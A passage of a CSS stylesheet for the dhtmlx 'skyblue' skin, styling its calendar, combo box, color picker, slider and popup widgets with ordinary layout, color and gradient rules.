div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours div.dhtmlxcalendar_area_selector_hours,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_area_selector_minutes,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_area_selector_minutes4,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_area_selector_minutes5 {\n  display: block;\n}\n.dhtmlxcalendar_dhx_skyblue span.dhtmlxcalendar_label_minutes span.dhtmlxcalendar_selected_date {\n  border-bottom: 2px solid red;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn {\n  display: none;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell {\n  width: 26px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell {\n  width: 24px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_first,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell {\n  width: 26px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn {\n  display: block;\n  width: 21px;\n  color: #698ca4;\n  background-color: #dfe8f2;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn {\n  display: block;\n  width: 19px;\n  color: #698ca4;\n  background-color: #dfe8f2;\n  border-color: #dfe8f2;\n  font-size: 11px;\n}\ndiv.dhtmlxcalendar_skin_detect {\n  position: absolute;\n  display: block;\n  visibility: hidden;\n  left: -100px;\n  top: 0px;\n  width: 10px;\n  height: 10px;\n  margin: 0px;\n  padding: 0px;\n  border: none;\n  overflow: hidden;\n}\ndiv.dhxcombo_dhx_skyblue {\n  position: relative;\n  border: 1px solid #c3c3c3;\n  vertical-align: middle;\n  background-color: white;\n  overflow: hidden;\n  font-size: 1px;\n  height: 22px;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  /* button */\n  /* top image */\n}\ndiv.dhxcombo_dhx_skyblue input.dhxcombo_input {\n  position: relative;\n  top: 0px;\n  left: 1px;\n  height: 22px;\n  line-height: 21px;\n  *height: 20px;\n  /* ie6,ie7 */\n  *line-height: 19px;\n  border: 0px solid white;\n  outline: 0px solid white;\n  padding: 0px;\n  margin: 0px 0px 0px 2px;\n  background-color: white;\n  font-family: Tahoma;\n  font-size: 13px;\n  color: #000000;\n  vertical-align: middle;\n}\ndiv.dhxcombo_dhx_skyblue input.dhxcombo_input::-ms-clear {\n  display: none;\n}\ndiv.dhxcombo_dhx_skyblue div.dhxcombo_select_button {\n  position: absolute;\n  width: 18px;\n  height: 18px;\n  top: 1px;\n  right: 1px;\n  font-size: 1px;\n  border: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border-radius: 2px;\n  cursor: pointer;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow: hidden;\n}\ndiv.dhxcombo_dhx_skyblue div.dhxcombo_select_button div.dhxcombo_select_img {\n  position: relative;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxcombo_skyblue/dhxcombo_arrow_down.gif\");\n  background-repeat: no-repeat;\n  background-position: center center;\n}\ndiv.dhxcombo_dhx_skyblue div.dhxcombo_top_image {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 26px;\n  height: 22px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow: hidden;\n  cursor: default;\n}\n/* options list */\ndiv.dhxcombolist_dhx_skyblue {\n  position: absolute;\n  font-family: Tahoma;\n  font-size: 13px;\n  color: #000000;\n  border: 1px solid #c3c3c3;\n  box-shadow: 0 2px 3px #ccc;\n  background-color: #efefef;\n  border-bottom-left-radius: 2px;\n  border-bottom-right-radius: 2px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow-x: none;\n  overflow-y: auto;\n  -moz-transition: height 0.15s ease 0s;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  /* checkbox modif */\n  /* image modif */\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option {\n  position: relative;\n  font-size: inherit;\n  height: 20px;\n  line-height: 19px;\n  border-top: 1px solid #efefef;\n  border-bottom: 1px solid #efefef;\n  vertical-align: middle;\n  overflow: hidden;\n  cursor: default;\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option.dhxcombo_option_selected {\n  background-color: #b6d5ff !important;\n  border-top: 1px solid #b6d5ff !important;\n  border-bottom: 1px solid #b6d5ff !important;\n  color: #000000;\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_option_text {\n  position: relative;\n  padding: 0px 4px;\n  white-space: nowrap;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_option_text.dhxcombo_option_text_chbx {\n  position: relative;\n  padding: 0px 4px 0px 4px;\n  margin-left: 20px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  white-space: nowrap;\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_checkbox {\n  position: absolute;\n  left: 1px;\n  top: 1px;\n  width: 20px;\n  height: 20px;\n  background-image: url(\"imgs/dhxcombo_skyblue/dhxcombo_chbx.gif\");\n  background-repeat: no-repeat;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow: hidden;\n  cursor: default;\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_checkbox.dhxcombo_chbx_0 {\n  background-position: 0px 0px;\n}\ndiv.dhxcombolist_dhx_skyblue .dhxcombo_option div.dhxcombo_checkbox.dhxcombo_chbx_1 {\n  background-position: -18px 0px;\n}\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_option_text.dhxcombo_option_text_image {\n  position: relative;\n  padding: 0px 4px 0px 4px;\n  margin-left: 20px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  white-space: nowrap;\n}\ndiv.dhxcombo_dhx_skyblue div.dhxcombo_top_image div.dhxcombo_image,\ndiv.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_image {\n  position: absolute;\n  left: 3px;\n  top: 1px;\n  width: 20px;\n  height: 20px;\n  background-repeat: no-repeat;\n  background-position: center center;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow: hidden;\n  cursor: default;\n}\n/* disabled */\ndiv.dhxcombo_dhx_skyblue.dhxcombo_disabled {\n  border: 1px solid #cccccc;\n  background-color: #fafafa;\n}\ndiv.dhxcombo_dhx_skyblue.dhxcombo_disabled input.dhxcombo_input {\n  color: #b2b2b2;\n  background-color: #fafafa;\n}\ndiv.dhxcombo_dhx_skyblue.dhxcombo_disabled div.dhxcombo_select_button {\n  border-color: #cccccc;\n  /* should match to COMMON DISABLED COLOR */\n  background-color: #fefefe;\n  background: linear-gradient(#fefefe, #f4f4f4);\n  background: -webkit-linear-gradient(#fefefe, #f4f4f4);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#fefefe, endColorStr=#f4f4f4) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  cursor: default;\n}\ndiv.dhxcombo_dhx_skyblue.dhxcombo_disabled div.dhxcombo_select_button div.dhxcombo_select_img {\n  background-image: url(\"imgs/dhxcombo_skyblue/dhxcombo_arrow_down_dis.gif\");\n}\n/* in grid */\n.dhxgrid_combo_icon {\n  position: absolute;\n  top: 0px;\n  right: 0px;\n  z-index: 1;\n}\ndiv.dhxcombo_in_grid_parent {\n  position: relative;\n  height: 100%;\n  top: 0px;\n}\ndiv.dhxcombo_in_grid_parent div.dhxcombo_dhx_skyblue {\n  position: absolute;\n  top: 0px;\n  left: -4px;\n  *top: -2px;\n  *height: 23px;\n}\ndiv.dhxcombo_in_grid_parent input.dhxcombo_input {\n  border-left: 2px solid white;\n  font-family: Arial;\n  font-size: 12px;\n  *margin-top: -3px;\n  *height: 18px;\n  *line-height: 17px;\n}\n/* multicolumn */\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr {\n  border-bottom-width: 0px;\n  height: 27px;\n  line-height: 27px;\n  box-shadow: none;\n  border-bottom-left-radius: 0px;\n  border-bottom-right-radius: 0px;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext {\n  position: relative;\n  padding: 0px;\n  white-space: nowrap;\n  cursor: default;\n  font-family: Tahoma;\n  font-size: 12px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell,\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell_first {\n  float: left;\n  white-space: nowrap;\n  overflow: hidden;\n  position: relative;\n  z-index: 2;\n  border-left: 1px solid #c3c3c3;\n  padding: 0px;\n  margin: 0px;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell_first,\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell:first-child {\n  border-left-width: 0px;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option {\n  height: 24px;\n  line-height: 24px;\n  margin-top: -1px;\n  z-index: 0;\n  border-top: 1px solid #e5e5e5;\n  border-bottom: 1px solid #e5e5e5;\n  background-color: white;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option:last-child {\n  border-bottom-color: white;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_option_text {\n  padding: 0px;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell,\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell_first {\n  float: left;\n  white-space: nowrap;\n  overflow: hidden;\n  position: relative;\n  border-left: 1px solid #e5e5e5;\n  padding: 0px;\n  margin: 0px;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell_first,\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell:first-child {\n  border-left-width: 0px;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option.dhxcombo_option_selected {\n  z-index: 1;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option.dhxcombo_option_selected div.dhxcombo_cell {\n  border-left-color: #b6d5ff;\n}\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell_text,\ndiv.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell_text {\n  position: relative;\n  margin: 0px 10px;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  width: auto;\n}\n/* skin detect */\n.dhxcombo_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  /* 10 for skyblue */\n  height: 10px;\n  overflow: hidden;\n}\n.dhxcolorpicker_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  /* 10 for skyblue */\n  height: 10px;\n  overflow: hidden;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_g_area {\n  position: absolute;\n  width: 254px;\n  height: 272px;\n  border: 1px solid #c3c3c3;\n  background-color: #efefef;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_add_memory {\n  height: 317px !important;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_sub_area {\n  margin: 1px;\n  width: 252px;\n  height: 270px;\n  background-color: #efefef;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_add_memory .dhxcp_sub_area {\n  height: 229px !important;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_g_color_area {\n  padding: 10px;\n  width: 232px;\n  height: 122px;\n  margin: 0px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_color_selector {\n  position: absolute;\n  width: 210px;\n  height: 120px;\n  background-image: url(\"imgs/dhxcp_skyblue/dhxcp_colors.png\");\n  background-repeat: no-repeat;\n  border: 1px solid #c3c3c3;\n  cursor: pointer;\n  float: left;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_contrast_area {\n  border: 1px solid #c3c3c3;\n  position: relative;\n  height: 120px;\n  width: 10px;\n  cursor: pointer;\n  float: right;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_ie_gradient {\n  height: 120px;\n  width: 10px;\n  margin: 0px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_color_selector .dhxcp_v_line {\n  position: absolute;\n  width: 0px;\n  height: 120px;\n  border-left: 1px solid #ffffff;\n  cursor: pointer;\n  overflow: hidden;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_color_selector .dhxcp_h_line,\n.dhtmlxcp_dhx_skyblue .dhxcp_contrast_area .dhxcp_h_line {\n  position: absolute;\n  height: 0px;\n  border-top: 1px solid #ffffff;\n  cursor: pointer;\n  overflow: hidden;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_color_selector .dhxcp_h_line {\n  width: 210px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_contrast_area .dhxcp_h_line {\n  width: 10px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_g_input_area {\n  padding: 0px 10px;\n  width: 232px;\n  height: 78px;\n  margin: 0px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_value_cont {\n  width: 60px;\n  height: 82px;\n  float: left;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_value_color {\n  width: 56px;\n  height: 30px;\n  border: 1px solid #c3c3c3;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_value {\n  width: 49px;\n  height: 20px;\n  border: 1px solid #c3c3c3;\n  border-radius: 0px;\n  background-color: white;\n  margin: 5px 0px 0px 0px;\n  padding: 1px 3px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  text-align: left;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_inputs_cont {\n  border: none;\n  border-spacing: 0px;\n  width: 161px;\n  height: 78px;\n  float: right;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_label_hsl,\n.dhtmlxcp_dhx_skyblue .dhxcp_label_rgb {\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  text-align: right;\n  padding: 0px 3px 0px 0px;\n}\n.dhtmlxcp_dhx_skyblue td.dhxcp_input_hsl,\n.dhtmlxcp_dhx_skyblue td.dhxcp_input_rgb {\n  width: 27px;\n  border: none;\n  padding: 3px 0px;\n  margin: 0px;\n}\n.dhtmlxcp_dhx_skyblue input.dhxcp_input_hsl,\n.dhtmlxcp_dhx_skyblue input.dhxcp_input_rgb {\n  width: 25px;\n  height: 19px;\n  border: 1px solid #c3c3c3;\n  border-radius: 0px;\n  background-color: white;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  text-align: right;\n  padding: 0px 3px;\n  line-height: 18px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_g_memory_area {\n  width: 232px;\n  height: 0px;\n  overflow: hidden;\n  border-top: 1px solid #ffffff;\n  margin: 10px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_memory_button_cont {\n  width: 232px;\n  margin: 0px;\n  height: 24px;\n}\n.dhtmlxcp_dhx_skyblue button {\n  outline: none;\n  border-radius: 2px;\n  border: 1px solid #c3c3c3;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  padding: 0px;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhtmlxcp_dhx_skyblue button:hover {\n  background-color: #f4f4f4;\n  background: linear-gradient(#f4f4f4, #ececec);\n  background: -webkit-linear-gradient(#f4f4f4, #ececec);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f4f4f4, endColorStr=#ececec) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhtmlxcp_dhx_skyblue button:active {\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 3px #ccc inset;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_save_to_memory {\n  width: 232px;\n  height: 24px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_save_to_memory .dhxcp_label_bm {\n  background-image: url(\"imgs/dhxcp_skyblue/dhxcp_icon_save.png\");\n  background-repeat: no-repeat;\n  display: inherit;\n  padding-left: 15px;\n  background-position: 0px 4px;\n  height: 18px;\n  line-height: 18px;\n  width: 80px;\n  margin: 1px auto;\n  white-space: nowrap;\n  text-align: left;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_memory_els_cont {\n  width: 232px;\n  height: 25px;\n  margin-top: 3px;\n  text-align: center;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_memory_el {\n  width: 24px;\n  height: 24px;\n  background-color: #ffffff;\n  border: 1px solid #c3c3c3;\n  display: inline-block;\n  margin: 0px 1px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_memory_el_select {\n  border: 1px dashed black !important;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_memory_el_next {\n  border: 1px dashed red !important;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_add_memory .dhxcp_g_memory_area {\n  height: 55px !important;\n  border-top: none !important;\n  margin: 5px 10px 5px 10px;\n}\n.dhtmlxcp_dhx_skyblue .dhxcp_buttons_area {\n  padding: 0px 10px;\n  width: 232px;\n  height: 26px;\n  text-align: right;\n  margin: 0px;\n}\n.dhtmlxcp_dhx_skyblue .dhx_button_save,\n.dhtmlxcp_dhx_skyblue .dhx_button_cancel {\n  padding: 2px 10px;\n  margin: 1px;\n  height: 24px;\n  line-height: 12px;\n  overflow: hidden;\n  text-align: center;\n}\n.dhxcp_colorBox {\n  float: right;\n}\n.dhxcp_colorInput {\n  float: left;\n}\n.dhxcp_frm {\n  background-color: white;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  position: absolute;\n  width: 256px;\n  height: 274px;\n}\n.dhtmlxcp_dhx_skyblue.dhtmlxcp_in_form .dhxcp_g_area {\n  padding: 5px;\n  border: 1px solid #c3c3c3;\n  box-shadow: 0 0 9px rgba(0, 0, 0, 0.35);\n}\n.dhtmlxslider_dhx_skyblue {\n  z-index: 0;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_hidden {\n  display: none;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_container {\n  position: relative;\n  float: left;\n  clear: left;\n  margin: 0px;\n  padding: 1px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_container.dhxsl_cont_hr {\n  margin-top: 6px;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_container.dhxsl_cont_vr {\n  margin-left: 6px;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_runner {\n  position: absolute;\n  width: 16px;\n  height: 16px;\n  margin: 0;\n  padding: 0;\n  overflow: hidden;\n  border: 1px solid #c3c3c3;\n  background-color: #f4f4f4;\n  background: linear-gradient(#f4f4f4, #ececec);\n  background: -webkit-linear-gradient(#f4f4f4, #ececec);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f4f4f4, endColorStr=#ececec) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border-radius: 2px;\n  -webkit-touch-callout: none;\n  -webkit-user-select: none;\n  -ms-touch-action: none;\n  z-index: 1;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_runner.dhxsl_runner_actv {\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  z-index: 2;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_runner_dis {\n  border-color: #c9c9c9;\n  background-color: #e8e8e8;\n  background: linear-gradient(#e8e8e8, #dedede);\n  background: -webkit-linear-gradient(#e8e8e8, #dedede);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e8e8e8, endColorStr=#dedede) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_track {\n  margin: 0;\n  padding: 0;\n  overflow: hidden;\n  border: 1px solid #c3c3c3;\n  position: relative;\n  border-radius: 2px;\n  background-color: white;\n  -webkit-touch-callout: none;\n  -webkit-user-select: none;\n  -ms-touch-action: none;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_track div.dhxsl_track_bg {\n  position: absolute;\n  background-color: #efefef;\n  font-size: 1px;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_cont_vr .dhxsl_track {\n  height: 100%;\n  width: 3px;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_cont_vr .dhxsl_track div.dhxsl_track_bg {\n  left: 0px;\n  width: 100%;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_cont_hr .dhxsl_track {\n  width: 100%;\n  height: 3px;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_cont_hr .dhxsl_track div.dhxsl_track_bg {\n  top: 0px;\n  height: 100%;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_track_dis {\n  border: 1px solid #c9c9c9;\n  background-color: #f0f0f0;\n}\n.dhtmlxslider_dhx_skyblue .dhxsl_track_dis div.dhxsl_track_bg {\n  position: absolute;\n  background-color: #d0d0d0;\n}\n.dhxslider_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  border: 0px solid white;\n  width: 10px;\n  /* 10 for skyblue */\n  height: 10px;\n  margin: 0;\n  padding: 0;\n  overflow: hidden;\n}\ndiv.dhx_popup_dhx_skyblue {\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  position: absolute;\n  /* offsets for IE */\n  /* arrow image */\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area {\n  position: relative;\n  margin: 10px;\n  padding: 3px 0px;\n  border: 1px solid #c3c3c3;\n  box-shadow: 0 0 3px #ccc;\n  background-color: #efefef;\n  border-radius: 2px;\n  /* components-related */\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td {\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  text-align: left;\n  vertical-align: middle;\n  padding: 0px 8px;\n  height: 24px;\n  line-height: 23px;\n  border-top: 1px solid #efefef;\n  border-bottom: 1px solid #efefef;\n  white-space: nowrap;\n  cursor: default;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td div.dhtmlxcalendar_dhx_skyblue {\n  position: relative;\n  float: left;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td * {\n  white-space: normal;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhx_popup_sep td.dhx_popup_sep {\n  padding: 2px 0px;\n  font-size: 1px;\n  position: relative;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhx_popup_sep td.dhx_popup_sep div.dhx_popup_sep {\n  position: relative;\n  font-size: 1px;\n  line-height: 1px;\n  height: 0px;\n  width: 100%;\n  border-top: 1px solid #acbcc5;\n  overflow: hidden;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td:first-child {\n  padding-left: 16px;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td:last-child {\n  padding-right: 16px;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr:hover td.dhx_popup_td {\n  background-color: #bdd6ef;\n  border-top: 1px solid #95cce4;\n  border-bottom: 1px solid #95cce4;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode:hover td.dhx_popup_td {\n  background: none;\n  border-top: 1px solid #efefef;\n  border-bottom: 1px solid #efefef;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td {\n  padding-top: 8px!important;\n  padding-bottom: 8px!important;\n  height: auto;\n  line-height: inherit;\n  -webkit-user-select: text;\n  -khtml-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  -o-user-select: text;\n  user-select: text;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td .dhtmlxcalendar_container.dhtmlxcalendar_skin_dhx_skyblue {\n  position: relative!important;\n  background-image: none;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhxtree_dhx_skyblue {\n  background: none;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhxeditor_dhx_skyblue {\n  border: 1px solid #c3c3c3;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td .dhxform_obj_dhx_skyblue div.dhxeditor_dhx_skyblue {\n  border-width: 0px;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhtmlxcp_dhx_skyblue div.dhxcp_g_area {\n  position: relative;\n  background-color: #efefef;\n  border: 0px solid white;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhtmlxcp_dhx_skyblue div.dhxcp_g_area div.dhxcp_sub_area {\n  background: #efefef;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td 